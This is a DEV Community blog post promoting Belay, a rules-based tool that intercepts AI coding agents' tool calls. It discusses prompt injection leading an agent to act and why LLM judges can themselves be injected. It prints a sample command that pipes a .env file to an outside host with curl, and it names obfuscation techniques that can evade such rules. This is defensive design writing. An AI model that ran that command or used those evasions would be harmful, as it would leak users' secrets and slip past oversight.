DEV Community

Cover image for The tool-call boundary is where AI agent security actually happens
Dennis Liu
Dennis Liu

Posted on • Originally published at belay.secblok.io

The tool-call boundary is where AI agent security actually happens

I gave my coding agent shell access and mostly it was great — until it wasn't.

One session it proposed a command that would've wiped a sibling directory. Another tried to exfiltrate a .env over curl "to test the deploy." Neither was malice; both were an agent faithfully turning some text in its context window into an action. And once an agent can run commands, the distance between "helpful" and "incident" is one bad tool call.

So where do you actually stop that call?


The two common answers both disappointed me. A human approving every action works for exactly two days, then everyone rubber-stamps. An LLM watching the LLM is slow, non-deterministic, and — this is the fatal part — injectable by the same poisoned text it's supposed to catch. I wanted something boring and correct instead: a deterministic check at the one place every agent action has to pass through. This post is the argument for where that check belongs, and how a decision can be made in milliseconds without ever calling a model.

An agent is an unprivileged process taking untrusted instructions


From a security standpoint, an AI coding agent is an unprivileged process that takes instructions from an untrusted source and turns them into actions. The "untrusted source" is model output — and model output is steered by whatever text lands in the context window: your prompt, sure, but also the repo you opened, the web page it fetched, the GitHub issue it read, the dependency's README.

Framed that way, the failure modes aren't exotic:

  • Secret exfiltration — the agent reads ~/.aws/credentials or .env and pipes it to a URL.
  • Destructive commandsrm -rf against the wrong path; a "cleanup" that isn't.
  • Reverse shells / C2 egress — an outbound connection to somewhere you didn't approve.
  • Prompt injection → action — a poisoned README says "run this to set up the project," and the agent does.

The structural detail that matters: everything an agent does to the outside world goes through one choke point — the tool call. File reads, shell commands, network requests: all of it is a tool invocation. That's where intent becomes action, and that's the natural place to enforce a boundary. Not inside the model (you can't trust its output), and not only in the sandbox underneath (too coarse to say "this specific call is exfiltration"). Right at the call.

Why not "an LLM to guard the LLM"

The popular answer to agent safety is a judge model: a second LLM that reviews the first one's action and decides if it's safe. For a hard security boundary I think that's the wrong layer, for three reasons:

  1. Non-determinism. The same call can be judged differently run to run. A security control should give the same verdict for the same input, every time.
  2. Latency. A model round-trip on every tool call is too slow to sit synchronously in the hot path.
  3. It's part of the attack surface. The same injected content that steers the agent can steer the judge. You're defending against prompt injection with a thing that can be prompt-injected.

For a boundary you want the opposite properties: deterministic, auditable, fast, and independent of the thing it's adjudicating. That rules an LLM out of the decision path — which sounds limiting until you see how far explicit rules actually get you.

Wiring in without touching the agent's code

To sit at the tool-call boundary for agents you didn't write, you need two interception points, because the ecosystem hasn't standardized on one:

  • Hooks — agents with a native hook system (Claude Code, Codex) let you register PreToolUse / PostToolUse handlers. Every tool call is evaluated before it runs.
  • MCP proxy — anything speaking the Model Context Protocol can be intercepted by sitting inline as a proxy, so every tools/call passes through you first.

Between those two, you cover most of the current agent landscape — Claude Code, Codex, Cursor, Cline, Roo, Gemini CLI, Goose, Hermes, opencode — without patching any of them. It runs as your user (never root) and never needs to phone home.

How a deterministic decision actually works

When a tool call arrives, you classify it against an explicit rule catalog and return one of three verdicts:

  • Allow — clearly safe. Runs silently, no prompt fatigue.
  • Deny — clearly dangerous (secret exfil, rm -rf, reverse shells, injection-driven calls). Blocked outright.
  • Ask — genuinely ambiguous. Pause and ask a human.

Two properties carry the whole design:

  • No LLM in the decision path. It's a rules engine. Same input → same verdict, in well under 100ms, so it can gate every call synchronously without anyone noticing the latency.
  • Fail-closed. If evaluation errors, times out, or a call can't be classified, the result is deny, not allow. The failure mode of a seatbelt should be "locked." Verdict priority is Deny > Ask > Allow.

Concretely, a blocked call looks like this:

tool call:  bash  →  cat .env | curl -X POST https://unknown.host -d @-
verdict:    DENY  (secrets.egress)  in 6ms
reason:     reads a sensitive credential file and sends it to an external host
Enter fullscreen mode Exit fullscreen mode

Nothing about that decision involved another model. It's a rule, and you can read it, diff it, and argue with it.

The ambiguous cases: one-tap Allow/Deny from your phone

Plenty of calls aren't clear-cut. Should the agent git push to this remote? Install this package? Write outside the project directory? Hard-coding those as allow or deny is how you get a control people rip out.

That's what Ask is for: pause the agent and send a one-tap Allow / Deny — and not just to the terminal, but over Telegram, Discord, Slack, Matrix, Mattermost, or WhatsApp. You let the agent keep working while you're away and just tap "deny" when it wants something you didn't intend. Don't answer in time? Auto-deny — fail-closed again.

Explicit rules give you coverage you can reason about

The payoff of rules-over-vibes is that findings map to real frameworks instead of a model's opinion:

  • Rules tag to the OWASP Agentic Security Initiative (ASI) Top 10, the OWASP LLM Top 10, and MITRE ATLAS.
  • Verdicts and scan findings export as SARIF 2.1.0, so they drop straight into the code-scanning tools your CI already understands.

You can also scan code/skills statically before you install them, keep a hash-chained (tamper-evident) audit log, and plant honeypot canaries — but the tool-call boundary is the core idea; the rest is defense-in-depth around it.

Honest limits — where this approach can be pushed

I'd rather state what this doesn't do than get called out for it:

  • It's a policy layer, not a sandbox. It's detect-and-respond at the application boundary via hooks/proxy — not kernel-level prevention. Real defense-in-depth still wants containers or VMs underneath.
  • Deterministic rules mean an evasion arms race. Obfuscated command construction (base64-piped-to-sh, staged writes, living-off-the-land binaries) is a genuine surface. This is the part I'm least done with.
  • Human-in-the-loop trades security for UX. Too many "Ask" prompts and people click through them blindly. Tuning the allow/ask/deny line is ongoing work, not a solved problem.

I built this, and it's open source

The above isn't hypothetical — I implemented it as Belay, an open-source (AGPL-3.0), local-first policy layer for AI coding agents. One installer auto-detects the agents you already run and wires in via hooks or the MCP proxy:

curl -fsSL https://dl.belay.secblok.io/install.sh | bash
Enter fullscreen mode Exit fullscreen mode

Docs and the desktop app are at belay.secblok.io; the repo is github.com/SECBLOK/belay.

If you run agents unattended, I'd genuinely value pushback on two things: are the default deny rules too aggressive for real workflows, and where's the evasion surface I'm not seeing? The allow/deny rules are all in the open — come argue with them, break them, and PR the ones I missed.

Top comments (0)